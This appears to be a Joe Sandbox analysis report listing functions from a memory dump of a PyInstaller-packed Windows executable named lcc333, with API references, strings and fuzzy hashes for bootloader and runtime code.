API String ID: 2050909247-3659356012
Opcode ID: bdb51f189eec0aae26590c8a1b92bbb562030306dab734aaada4990c27a5542a
Instruction ID: a804ba490360e5c13806be346a3de6e3473e1a42c8639c0ded0fa5c0beb11d5b
Opcode Fuzzy Hash: bdb51f189eec0aae26590c8a1b92bbb562030306dab734aaada4990c27a5542a
Instruction Fuzzy Hash: E3416066A0895391EA10FF13E8855B9E3D1BF86BA4FD44833ED0C47796EE3CE5098760

Function 00007FF714C81470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF714C8151F
fseek, xrefs: 00007FF714C814E5
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF714C81518
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF714C814DE
fread, xrefs: 00007FF714C815E6
Failed to extract %s: failed to open archive file!, xrefs: 00007FF714C8149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF714C815DF

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: a8e221c47165c0dbec1a7dc4007f346f16716469ebf4d834264a8452580f1fe3
Instruction ID: 7797027ab3559874f8b829cc79097f282e683fd458eec70bd9c108897ae69b26
Opcode Fuzzy Hash: a8e221c47165c0dbec1a7dc4007f346f16716469ebf4d834264a8452580f1fe3
Instruction Fuzzy Hash: 0F415222A08D4395EB10EF23D4815B9E390BF86BA4FD44933EE4D07B95EE3CE5498724

Function 00007FF714C8EA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF714C8EA65

Part of subcall function 00007FF714C8F9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF714C8F9FF
Part of subcall function 00007FF714C8F9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF714C8FA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF714C8EB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF714C8ED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF714C8EE98

Strings

csm, xrefs: 00007FF714C8EB60
csm, xrefs: 00007FF714C8EA7F
csm, xrefs: 00007FF714C8EAE6

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 8fb7cf59f246c43d15ad8262180eb5ccab811165baa45798c5ed688da9b7e0e6
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: A2D18632A08B4286EB20AF66D4823BDB7A0FB567B8F500136DE4D97755DF38E459CB10

Function 00007FF714C82C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF714C83706,?,00007FF714C83804), ref: 00007FF714C82C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF714C83706,?,00007FF714C83804), ref: 00007FF714C82D63
MessageBoxW.USER32 ref: 00007FF714C82D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF714C82D70
[PYI-%d:ERROR] , xrefs: 00007FF714C82CA6
Error, xrefs: 00007FF714C82D8C
%ls: , xrefs: 00007FF714C82D22

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 02c775e569dcd5b7fbf024312714f54e75085d093aefde79336c0a0581394cfd
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 4131C723708E4152E620BF26F8956ABA691BF85BA8F810137EF4D53759EF3CD50AC310

Function 00007FF714C8DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF714C8DF7A,?,?,?,00007FF714C8DC6C,?,?,?,00007FF714C8D869), ref: 00007FF714C8DD4D
GetLastError.KERNEL32(?,?,?,00007FF714C8DF7A,?,?,?,00007FF714C8DC6C,?,?,?,00007FF714C8D869), ref: 00007FF714C8DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF714C8DF7A,?,?,?,00007FF714C8DC6C,?,?,?,00007FF714C8D869), ref: 00007FF714C8DD85
FreeLibrary.KERNEL32(?,?,?,00007FF714C8DF7A,?,?,?,00007FF714C8DC6C,?,?,?,00007FF714C8D869), ref: 00007FF714C8DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF714C8DF7A,?,?,?,00007FF714C8DC6C,?,?,?,00007FF714C8D869), ref: 00007FF714C8DDFF

Strings

api-ms-, xrefs: 00007FF714C8DD6D

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: f1a58ed09ab9a11761cf4f6f2334d786e598da160a07e14a9f20ff76e73d5ce7
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: E7318062B1AE4291EE11AF1394815A5A394FF4ABB4F994937DE1D06380EF3CE44A8330

Function 00007FF714C86360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF714C86456
ucrtbase.dll, xrefs: 00007FF714C863DD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF714C86407
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF714C863C7
Failed to load Python DLL '%ls'., xrefs: 00007FF714C864A7
LoadLibrary, xrefs: 00007FF714C864AE

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: bd35b640c02035bc0e077a05b147b005ab0e639f37cafda848bc65a29b3ec2f1
Instruction ID: 432886de67fae2e5f49b33bb753868102f99c793d11ef8f128c0955a7a93bbae
Opcode Fuzzy Hash: bd35b640c02035bc0e077a05b147b005ab0e639f37cafda848bc65a29b3ec2f1
Instruction Fuzzy Hash: 55419D32A18E8791EA10EF22E4961E9A351FB867A4FD00133DA5C43695EF3CE60DC760

Function 00007FF714C82A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF714C8351A,?,00000000,00007FF714C83F1B), ref: 00007FF714C82AA0

Strings

0, xrefs: 00007FF714C82B16
Warning, xrefs: 00007FF714C82B1E
WARNING, xrefs: 00007FF714C82AAF
[PYI-%d:%s] , xrefs: 00007FF714C82AA8
Warning [ANSI Fallback], xrefs: 00007FF714C82B0F

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 353c6dcc74110da3d4f53afb22da5a3a54c884f01ffcbbac45a274a97c8e3809
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 60218632618F8292E720AF52F8817E6A794FB857D4F800136FE8D53659EF3CD2498650

Function 00007FF714C9B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF714C9B15F
FlsGetValue.KERNEL32 ref: 00007FF714C9B174
FlsSetValue.KERNEL32 ref: 00007FF714C9B195
FlsSetValue.KERNEL32 ref: 00007FF714C9B1C2
FlsSetValue.KERNEL32 ref: 00007FF714C9B1D3
FlsSetValue.KERNEL32 ref: 00007FF714C9B1E4
SetLastError.KERNEL32 ref: 00007FF714C9B1FF

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: 9430f378be768671762ab185a79d94c9171ba8b202c74868cbfe43b084b7fe10
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: 1C213D24A08E42B1F9587F27DDD113DD2426F46BF0FD44736D92E466CAFE2DA4488720

Function 00007FF714CA7D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF714CA7D9D
GetLastError.KERNEL32 ref: 00007FF714CA7DA9
CloseHandle.KERNEL32 ref: 00007FF714CA7DC1
CreateFileW.KERNEL32 ref: 00007FF714CA7DEC
WriteConsoleW.KERNEL32 ref: 00007FF714CA7E0B

Strings

CONOUT$, xrefs: 00007FF714CA7DCD

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 1ad9703d8c0b647667eea0b2c045ea9431a86097bbd7ce2369e5d184dc79ddbf
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: CE118422A18E4186E750AF13E894329E7A0FB99FF4F500A36DA5E87794EF3CD5188750

Function 00007FF714C88ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF714C83FA9), ref: 00007FF714C88EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF714C83FA9), ref: 00007FF714C88F5A

Part of subcall function 00007FF714C89390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF714C845F4,00000000,00007FF714C81985), ref: 00007FF714C893C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF714C83FA9), ref: 00007FF714C88FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF714C83FA9), ref: 00007FF714C89044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF714C83FA9), ref: 00007FF714C89055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF714C83FA9), ref: 00007FF714C8906A

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: c6728b77ccd1d1e6f4992c3ac941136ee6de2f12694a08dd09ac00263ed16dee
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: D0417A72619A8381EA30AF13A5812BAB394FB8ABE4F844136DF4D57789DF3CD505C710

Function 00007FF714C9B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A,?,?,?,?,00007FF714C9718F), ref: 00007FF714C9B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A,?,?,?,?,00007FF714C9718F), ref: 00007FF714C9B30D
FlsSetValue.KERNEL32(?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A,?,?,?,?,00007FF714C9718F), ref: 00007FF714C9B33A
FlsSetValue.KERNEL32(?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A,?,?,?,?,00007FF714C9718F), ref: 00007FF714C9B34B
FlsSetValue.KERNEL32(?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A,?,?,?,?,00007FF714C9718F), ref: 00007FF714C9B35C
SetLastError.KERNEL32(?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A,?,?,?,?,00007FF714C9718F), ref: 00007FF714C9B377

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: 8023354d979bd49087249e44a65438d72dce6ca803512b58e12e4f8aa5bcd285
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: BF113020A0CE52A2F954BF27D9D113DD2466F46BF0FD48736D92E467D6FE2CA4094720

Function 00007FF714C82910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF714C81B6A), ref: 00007FF714C8295E

Strings

[PYI-%d:ERROR] , xrefs: 00007FF714C82966
%s: %s, xrefs: 00007FF714C829E8
Error, xrefs: 00007FF714C82A0E
Error [ANSI Fallback], xrefs: 00007FF714C829FF

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: 7879c363b5e69347d535bb986c3240128dfc0d3a45bd7e9fdac5f1e10c5f8bed
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: D231E923B18E8152E710BF62F8816E6A295BF857E4F800533EE4D43759EF3CD14A8210

Function 00007FF714C82390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF714C823C8
DialogBoxIndirectParamW.USER32 ref: 00007FF714C8248E
DeleteObject.GDI32 ref: 00007FF714C824C1
DestroyIcon.USER32 ref: 00007FF714C824D3

Strings

Unhandled exception in script, xrefs: 00007FF714C823F8

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: d88e82a28c8b3a3ec2dfb210a1b1e447248ccdf10e16182bc702f37545eabef7
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: 6C318872619E8285EB20EF62E8951F9A360FF85794F940136EA4D47B49EF3CD108C710

Function 00007FF714C82B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF714C8918F,?,00007FF714C83C55), ref: 00007FF714C82BA0
MessageBoxW.USER32 ref: 00007FF714C82C2A

Strings

WARNING, xrefs: 00007FF714C82BAF
[PYI-%d:%ls] , xrefs: 00007FF714C82BA8
Warning, xrefs: 00007FF714C82C1D

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: c67d1e271d3434f6fbc96a58a6a05420c685dd5dcbd2228cf5192db391040f63
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: FD21D173B08F4192E710AF16F8857AAA7A4FB89794F800136EA8D53659EF3CD209C750

Function 00007FF714C82710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF714C81B99), ref: 00007FF714C82760

Strings

ERROR, xrefs: 00007FF714C8276F
Error, xrefs: 00007FF714C827DE
[PYI-%d:%s] , xrefs: 00007FF714C82768
Error [ANSI Fallback], xrefs: 00007FF714C827CF

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: c92ec3fdf3249463f747fb49ac683ed1a99397c5d2dfde9e87e430fc1f3396b0
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 3021A632A18F8292E710EF52F8817E6A394FB89794F800536EE8D53659EF3CD1498750

Function 00007FF714C99A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF714C99AAD
GetProcAddress.KERNEL32 ref: 00007FF714C99AC3
FreeLibrary.KERNEL32 ref: 00007FF714C99AEA

Strings

mscoree.dll, xrefs: 00007FF714C99AA4
CorExitProcess, xrefs: 00007FF714C99ABC

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

